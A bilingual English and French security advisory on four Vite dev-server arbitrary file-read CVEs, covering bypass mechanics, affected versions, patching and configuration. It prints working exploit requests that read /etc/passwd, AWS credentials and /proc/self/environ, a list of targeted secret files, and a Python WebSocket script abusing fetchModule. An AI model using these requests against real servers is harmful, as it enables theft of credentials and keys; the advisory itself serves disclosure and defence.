Vite.js Security Vulnerabilities in 2026: CVE-2025-30208, CISA KEV & The Recurring WebSocket File Read ProblemVulnérabilités Vite.js en 2026 : CVE-2025-30208, CISA KEV & Le Problème Récurrent de Lecture de Fichiers

Vite receives over 53 million npm downloads per week and powers the default scaffolding for React, Vue, Svelte, Lit, and Qwik. Since late 2024, its development server has been hit by four distinct arbitrary file read vulnerabilities — each exploiting a different bypass route to the same access control gap. In January 2026, CISA added one of them to its Known Exploited Vulnerabilities catalog with a 21-day remediation deadline for federal agencies. In April 2026, two more were disclosed. This guide covers every Vite CVE in 2026, who is actually at risk, and exactly what to do.

Why Vite's Dev Server Is a Recurring Attack Surface

Vite's development server exposes features that production servers never need: Hot Module Replacement (HMR), source map serving, file system browsing via @fs URLs, and an HMR WebSocket channel used for live reloading. Vite protects these with server.fs.allow (a filesystem allowlist) and origin-based access controls. The problem is that these protections are implemented at the HTTP middleware layer — and every single file-read CVE in 2026 found a path that bypassed that middleware.

The pattern is always the same: an alternative access path (a query parameter, a URL encoding trick, a WebSocket channel) reaches the file system without going through the middleware chain where the access checks live. Vite patches one hole, and researchers find another bypass. This is not a sign of negligence — it reflects the fundamental challenge of securing a rich dev tooling surface that was designed for developer productivity, not for network exposure.

The Full CVE Timeline: 2025–2026

CVE-2025-30208: The @fs Path Traversal Bypass (March 2025)

CVSS: 5.3 (Medium)

Vite's @fs URL scheme lets the dev server serve files from the local filesystem. Access is restricted by server.fs.deny and a filesystem allow list. CVE-2025-30208 discovered that appending ?raw?? (double question marks) to any URL confused Vite's import parser: the second ? was treated as a query string separator, causing the path to be resolved without the deny-list check being applied.

# CVE-2025-30208 — bypass via double query separator
# Read .env file outside the Vite root:
GET http://localhost:5173/@fs/etc/passwd?raw??

# Read AWS credentials from a developer's home directory:
GET http://localhost:5173/@fs/home/user/.aws/credentials?import&raw??

# Any file on the filesystem readable by the process is exposed.

The vulnerability requires the Vite dev server to be reachable from the network (using --host or server.host: true). Attackers were observed actively scanning port 5173 (Vite's default port) for exposed instances. Sprocket Security documented a real-world case where this misconfiguration exposed live AWS credentials and API keys from a developer's .env file to the public internet.

Affected: Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
Fixed in: 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10

CVE-2025-31125: CISA KEV — Active Exploitation Confirmed (January 2026)

CVSS: 5.3 (vendor) / 7.5 (NIST CVSS v3.1)

CVE-2025-31125 is a variant of the same file-read class: it uses the query parameters ?inline&import or ?raw?import to trigger a code path that resolves file contents without enforcing the server.fs.deny list. The vulnerability was patched in March 2025, but active exploitation was confirmed in January 2026 — nearly ten months after the fix was available. This is the Vite vulnerability that crossed the threshold from "theoretical risk" to "confirmed active exploitation in the wild."

On January 22, 2026, CISA added CVE-2025-31125 to its Known Exploited Vulnerabilities (KEV) catalog — alongside Prettier, Versa, and Zimbra — setting a remediation deadline of February 12, 2026 for U.S. federal agencies. CISA's KEV designation is the highest-confidence signal that a vulnerability is being actively weaponized in real attacks, not just demonstrated in PoC research.

# CVE-2025-31125 — bypass via inline/import query combination
GET http://localhost:5173/@fs/etc/passwd?inline&import
GET http://localhost:5173/@fs/proc/self/environ?raw?import

# Target files in real-world attacks:
#   .env, .env.local, .env.production
#   ~/.aws/credentials
#   ~/.ssh/id_rsa
#   /etc/passwd, /proc/self/environ

Affected: Vite < 6.2.4, < 6.1.3, < 6.0.13, < 5.4.16, < 4.5.11
Fixed in: 6.2.4, 6.1.3, 6.0.13, 5.4.16, 4.5.11

CVE-2026-39363: WebSocket Arbitrary File Read — The New Vector (April 2026)

CVSS: 8.2 (High, CVSS v4.0)

Published April 7, 2026, CVE-2026-39363 is the highest-severity Vite vulnerability to date. It exploits a fundamentally different attack surface: the HMR WebSocket channel rather than HTTP requests. Vite's dev server exposes a WebSocket endpoint that powers Hot Module Replacement. Over this channel, Vite accepts custom events — including a vite:invoke event that allows callers to invoke internal server-side functions such as fetchModule.

The critical flaw: server.fs.allow access controls are implemented at the HTTP middleware layer. The WebSocket channel bypasses that middleware entirely. An attacker who can connect to the WebSocket without an Origin header — which is possible from any non-browser client, including curl, Python scripts, or a compromised device on the same network — can invoke fetchModule with a file:/// URL plus the ?raw modifier to retrieve the contents of arbitrary files as a JavaScript string.

# CVE-2026-39363 — WebSocket-based file read (illustrative)
# Connect to Vite's WebSocket without an Origin header
# (no browser required — any WebSocket client works)

import websockets, asyncio, json

async def exploit():
    async with websockets.connect(
        "ws://target:5173",
        extra_headers={}  # No Origin header — bypasses origin check
    ) as ws:
        # Invoke the internal fetchModule function
        payload = {
            "type": "custom",
            "event": "vite:invoke",
            "data": {
                "name": "fetchModule",
                "id": 1,
                "args": ["file:///etc/passwd?raw"]
            }
        }
        await ws.send(json.dumps(payload))
        response = await ws.recv()
        print(response)  # Returns file contents as a JS module string

asyncio.run(exploit())

The reason this vulnerability scores 8.2 rather than the 5.3 of its predecessors is the attack complexity: unlike the HTTP-based bypasses that required specific query string tricks, the WebSocket bypass requires only a standard WebSocket client and the ability to reach port 5173. The technique works even when server.fs.strict is enabled.

Affected: Vite 6.0.0–6.4.1, 7.0.0–7.3.1, 8.0.0–8.0.4
Fixed in: 6.4.2, 7.3.2, 8.0.5

CVE-2026-39365: Source Map File Disclosure (April 2026)

CVSS: Medium (same patch cycle as CVE-2026-39363)

Disclosed alongside CVE-2026-39363, this vulnerability affects how Vite handles .map requests for optimized dependencies. The dev server resolves the file path and calls readFile without sanitizing ../ path traversal segments in the URL. This allows an attacker to bypass server.fs.strict and retrieve .map source map files located outside the project root — provided the content can be parsed as valid source map JSON.

Source maps contain the original pre-compiled source code of your application, including business logic and internal implementation details. In projects where source maps are generated from TypeScript or minified production bundles accidentally included in the dev server path, this can expose significant intellectual property and security-sensitive code.

Affected: Same as CVE-2026-39363 — Vite 6.0.0–6.4.1, 7.0.0–7.3.1, 8.0.0–8.0.4
Fixed in: 6.4.2, 7.3.2, 8.0.5

Who Is Actually at Risk

Every Vite vulnerability in this list has one key prerequisite: the dev server must be reachable from the network. By default, Vite binds to localhost (127.0.0.1), making it inaccessible from other machines. The risk escalates dramatically in these real-world scenarios:

• --host flag usage: Running vite --host or setting server.host: true in vite.config.js binds to 0.0.0.0, exposing the server on all network interfaces. This is common in Docker development containers, WSL2 setups, and team dev environments.
• Shared office or co-working networks: A colleague or visitor on the same Wi-Fi can reach your exposed dev server on port 5173 without any credentials.
• Cloud-based dev environments (Gitpod, GitHub Codespaces, StackBlitz): Some configurations forward dev server ports publicly. If the origin check is bypassed (as in CVE-2026-39363), the forwarded port is vulnerable.
• CI/CD preview runners: Some CI systems run vite for end-to-end testing previews with --host. If the runner has network exposure, the test server is attackable.
• Unpatched Vite versions: Any project that hasn't updated since before April 2026 is still running a version vulnerable to CVE-2026-39363 and CVE-2026-39365.

How to Check Your Vite Version and Patch

# Check your current Vite version
npx vite --version

# Or check directly in node_modules
cat node_modules/vite/package.json | grep '"version"'

# Upgrade to the latest patched version (v6 branch)
npm install vite@^6.4.2

# Or for Vite 7 projects
npm install vite@^7.3.2

# Or for Vite 8 (latest major)
npm install vite@^8.0.5

# Verify all direct and transitive Vite instances
npm ls vite

After upgrading, verify your vite.config.js does not expose the server unnecessarily:

// vite.config.js — secure configuration
import { defineConfig } from 'vite'

export default defineConfig({
  server: {
    // Only use host: true when you explicitly need network access
    // host: true, // REMOVE THIS if you don't need it

    // Explicitly deny sensitive file patterns
    fs: {
      strict: true,  // Enforce strict filesystem access
      deny: [
        '.env',
        '.env.*',
        '*.{pem,key}',
        '**/.git/**',
        '**/node_modules/**/.env',
      ],
      // Only allow serving from the project root and node_modules
      allow: ['..'],
    },

    // Restrict WebSocket origin (mitigates CVE-2026-39363 vector)
    // ws: false  // Disable WebSocket if you don't use HMR
    cors: false,   // Disable CORS for the dev server if not needed
  },
})

Detecting Exposed Vite Dev Servers in Your Organization

If you manage multiple developer workstations or CI runners, it is worth auditing for exposed Vite instances:

# Quick network scan for exposed Vite dev servers on your LAN
# (requires nmap — for authorized network scanning only)
nmap -p 5173 192.168.1.0/24 --open

# Test if a specific Vite server leaks files (CVE-2025-30208 check)
curl -s "http://TARGET:5173/@fs/etc/passwd?raw??" | head -5

# Test WebSocket exposure (CVE-2026-39363 check)
# If this connects without error, the WebSocket is exposed:
python3 -c "
import websockets, asyncio
async def check():
    try:
        async with websockets.connect('ws://TARGET:5173', extra_headers={}) as ws:
            print('WebSocket exposed — CVE-2026-39363 may be exploitable')
    except Exception as e:
        print(f'Not reachable: {e}')
asyncio.run(check())
"

The Recurring Pattern: Why Vite Keeps Getting File-Read CVEs

Looking at the four CVEs together, a clear architectural pattern emerges. Vite's access controls (the server.fs.allow list, origin checks, and deny lists) are implemented as HTTP middleware. Any code path that reaches the file system without going through that middleware stack is a potential bypass. The HTTP query bypasses (CVE-2025-30208, CVE-2025-31125) exploited parsing ambiguities in URL query strings. The WebSocket bypass (CVE-2026-39363) skipped the middleware layer entirely by using a different transport protocol.

This pattern suggests the underlying fix must be architectural: file system access controls need to be enforced at the file resolution layer, not at the middleware layer, so that any code path — HTTP, WebSocket, or future transport — inherits the same restrictions automatically. The Vite team is aware of this design debt. Until such a refactor ships, the safest posture is to avoid exposing the Vite dev server to any network beyond localhost.

Frequently Asked Questions

Vite reçoit plus de 53 millions de téléchargements npm par semaine et alimente le scaffolding par défaut de React, Vue, Svelte, Lit et Qwik. Depuis fin 2024, son serveur de développement a été touché par quatre vulnérabilités distinctes de lecture arbitraire de fichiers — chacune exploitant un vecteur de contournement différent vers la même faille de contrôle d'accès. En janvier 2026, la CISA a ajouté l'une d'elles à son catalogue des vulnérabilités exploitées connues (KEV) avec un délai de remédiation de 21 jours pour les agences fédérales américaines. En avril 2026, deux nouvelles ont été divulguées. Ce guide couvre toutes les CVE Vite en 2026, qui est réellement exposé et exactement quoi faire.

Pourquoi le Serveur de Développement Vite est une Surface d'Attaque Récurrente

Le serveur de développement Vite expose des fonctionnalités qu'un serveur de production n'a jamais besoin : Hot Module Replacement (HMR), servir des source maps, navigation dans le système de fichiers via les URLs @fs, et un canal WebSocket HMR pour le rechargement en direct. Vite protège tout cela avec server.fs.allow (une liste blanche du système de fichiers) et des contrôles d'accès basés sur l'origine. Le problème : ces protections sont implémentées au niveau de la couche middleware HTTP — et chaque CVE de lecture de fichiers en 2026 a trouvé un chemin qui contourne ce middleware.

Le schéma est toujours le même : un chemin d'accès alternatif (un paramètre de requête, une astuce d'encodage d'URL, un canal WebSocket) atteint le système de fichiers sans passer par la chaîne de middleware où vivent les vérifications d'accès. Vite bouche un trou, et les chercheurs en trouvent un autre. Ce n'est pas un signe de négligence — cela reflète le défi fondamental de sécuriser une surface d'outillage de développement riche, conçue pour la productivité des développeurs, pas pour l'exposition réseau.

La Chronologie Complète des CVE : 2025–2026

CVE-2025-30208 : Contournement @fs par Traversée de Chemin (Mars 2025)

CVSS : 5.3 (Medium)

Le schéma d'URL @fs de Vite permet au serveur de développement de servir des fichiers depuis le système de fichiers local. L'accès est restreint par server.fs.deny et une liste blanche du système de fichiers. CVE-2025-30208 a découvert qu'en ajoutant ?raw?? (double point d'interrogation) à n'importe quelle URL, le parseur d'imports de Vite était trompé : le second ? était traité comme un séparateur de chaîne de requête, causant la résolution du chemin sans appliquer la vérification de la liste de refus.

# CVE-2025-30208 — contournement via double séparateur de requête
# Lire un fichier .env hors du répertoire Vite :
GET http://localhost:5173/@fs/etc/passwd?raw??

# Lire les credentials AWS depuis le répertoire home d'un développeur :
GET http://localhost:5173/@fs/home/user/.aws/credentials?import&raw??

# Tout fichier du système de fichiers lisible par le processus est exposé.

La vulnérabilité nécessite que le serveur de développement Vite soit accessible depuis le réseau (via --host ou server.host: true dans vite.config.js). Des attaquants ont été observés en train de scanner activement le port 5173 (le port par défaut de Vite) pour trouver des instances exposées. Sprocket Security a documenté un cas réel où cette mauvaise configuration a exposé des credentials AWS live et des clés API depuis le fichier .env d'un développeur vers l'internet public.

Affecte : Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
Corrigé dans : 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10

CVE-2025-31125 : CISA KEV — Exploitation Active Confirmée (Janvier 2026)

CVSS : 5.3 (éditeur) / 7.5 (NIST CVSS v3.1)

CVE-2025-31125 est une variante de la même classe de lecture de fichiers : elle utilise les paramètres de requête ?inline&import ou ?raw?import pour déclencher un chemin de code qui résout le contenu de fichiers sans appliquer la liste server.fs.deny. La vulnérabilité a été patchée en mars 2025, mais l'exploitation active a été confirmée en janvier 2026 — près de dix mois après la disponibilité du correctif.

Le 22 janvier 2026, la CISA a ajouté CVE-2025-31125 à son catalogue des vulnérabilités exploitées connues (KEV) — aux côtés de Prettier, Versa et Zimbra — fixant une date limite de remédiation au 12 février 2026 pour les agences fédérales américaines. La désignation KEV de la CISA est le signal à plus haute confiance qu'une vulnérabilité est activement utilisée comme arme dans des attaques réelles.

Affecte : Vite < 6.2.4, < 6.1.3, < 6.0.13, < 5.4.16, < 4.5.11
Corrigé dans : 6.2.4, 6.1.3, 6.0.13, 5.4.16, 4.5.11

CVE-2026-39363 : Lecture Arbitraire de Fichiers via WebSocket — Le Nouveau Vecteur (Avril 2026)

CVSS : 8.2 (High, CVSS v4.0)

Publiée le 7 avril 2026, CVE-2026-39363 est la vulnérabilité Vite de plus haute sévérité à ce jour. Elle exploite une surface d'attaque fondamentalement différente : le canal WebSocket HMR plutôt que les requêtes HTTP. Le serveur de développement Vite expose un endpoint WebSocket qui alimente le Hot Module Replacement. Via ce canal, Vite accepte des événements personnalisés — notamment un événement vite:invoke qui permet aux appelants d'invoquer des fonctions internes côté serveur comme fetchModule.

La faille critique : les contrôles d'accès server.fs.allow sont implémentés au niveau de la couche middleware HTTP. Le canal WebSocket contourne entièrement ce middleware. Un attaquant pouvant se connecter au WebSocket sans en-tête Origin — ce qui est possible depuis tout client non-navigateur, incluant curl, des scripts Python ou un appareil compromis sur le même réseau — peut invoquer fetchModule avec une URL file:/// plus le modificateur ?raw pour récupérer le contenu de fichiers arbitraires sous forme de chaîne JavaScript.

Affecte : Vite 6.0.0–6.4.1, 7.0.0–7.3.1, 8.0.0–8.0.4
Corrigé dans : 6.4.2, 7.3.2, 8.0.5

CVE-2026-39365 : Divulgation de Fichiers Source Map (Avril 2026)

Divulguée en même temps que CVE-2026-39363, cette vulnérabilité affecte la façon dont Vite traite les requêtes .map pour les dépendances optimisées. Le serveur de développement résout le chemin de fichier et appelle readFile sans assainir les segments de traversée ../ dans l'URL. Cela permet à un attaquant de contourner server.fs.strict et de récupérer des fichiers .map situés hors de la racine du projet. Les source maps contiennent le code source original pré-compilé de votre application — logique métier, implémentation interne, et parfois des secrets injectés à la compilation.

Affecte : Vite 6.0.0–6.4.1, 7.0.0–7.3.1, 8.0.0–8.0.4
Corrigé dans : 6.4.2, 7.3.2, 8.0.5

Qui Est Réellement Exposé

Toutes les vulnérabilités de cette liste ont un prérequis : le serveur de développement doit être accessible depuis le réseau. Par défaut, Vite se lie à localhost (127.0.0.1). Le risque s'emballe dans ces scénarios réels :

• Utilisation du flag --host : Exécuter vite --host ou définir server.host: true lie Vite à 0.0.0.0, exposant le serveur sur toutes les interfaces réseau. Commun dans les containers Docker, WSL2, et les environnements de développement d'équipe.
• Réseaux partagés de bureau ou coworking : Un collègue ou visiteur sur le même Wi-Fi peut atteindre votre serveur de développement exposé sur le port 5173 sans aucun credential.
• Environnements de développement cloud (Gitpod, GitHub Codespaces) : Certaines configurations redirigent les ports du serveur de développement publiquement.
• Runners CI/CD de preview : Certains systèmes CI exécutent vite avec --host pour les tests end-to-end. Si le runner a une exposition réseau, le serveur de test est vulnérable.

Comment Vérifier Votre Version Vite et Patcher

# Vérifier votre version actuelle de Vite
npx vite --version

# Mettre à jour vers la dernière version patchée (branche v6)
npm install vite@^6.4.2

# Ou pour les projets Vite 7
npm install vite@^7.3.2

# Ou pour Vite 8 (dernier majeur)
npm install vite@^8.0.5

# Vérifier toutes les instances directes et transitives de Vite
npm ls vite

Questions Fréquentes